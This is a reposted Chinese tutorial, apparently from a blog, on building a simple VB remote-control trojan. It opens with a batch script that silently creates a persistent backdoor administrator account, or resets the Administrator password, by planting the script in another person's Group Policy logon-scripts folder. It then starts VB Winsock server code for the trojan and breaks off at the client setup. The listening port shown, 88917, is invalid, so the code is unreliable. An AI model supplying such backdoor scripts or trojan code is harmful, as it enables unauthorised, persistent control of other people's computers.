VB写简单远程控制+木马 （实例）[转载]

VB写简单远程控制+木马 （实例）[转载]

 

1、建一个.txt文本文档.
2、在里面输入下面三行内容：
@echo off
net user sd 123456 /add
net localgroup administrators sd /add
说明：前面sd是用户名后面123456是密码；

3、把这个文件保存，更改后缀为xx.bat ，名字随便起；
4、把这个文件拷贝到要建立帐户的电脑C:/WINDOWS/system32/GroupPolicy/User/Scripts/Logon文件目录下，没有的话自己创建。
完成后，下次对方电脑无论如何都有这个管理员帐号，删除了，下次启动还会存在！
如果把文本文档里面的内容改成
@echo off
net user administrator 123456 /add下次启动管理员帐号administrator密码一直是123456。

其实网上这样的文章很少的，好不容易收集来点，就给大家发布出来了，首先，新建一工程，名为Server，新建一个窗体，Name为Server，在窗体中加

入一个winsock控件，Name设为sckServer，协议设为默认的TCP／IP协议。

　　接下来我们回来Server窗体模块中，添加如下代码：

Private Sub form_Load()
　With Me
　　.sckServer.LocalPort = 88917'本地端口（呵呵！我的生日！）
　　.sckServer.Listen '开始监听
　End With
End Sub

'接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
　With Me
　　If .sckServer.State <>sckClosed Then .sckServer.Close
　　.sckServer.Accept (requestID)
　End With
End Sub 

　　下面我们来建立客户端程序：新建一个工程，名为Client，把窗体名为

Client，在上面加入一个winsock控件，名为sckClient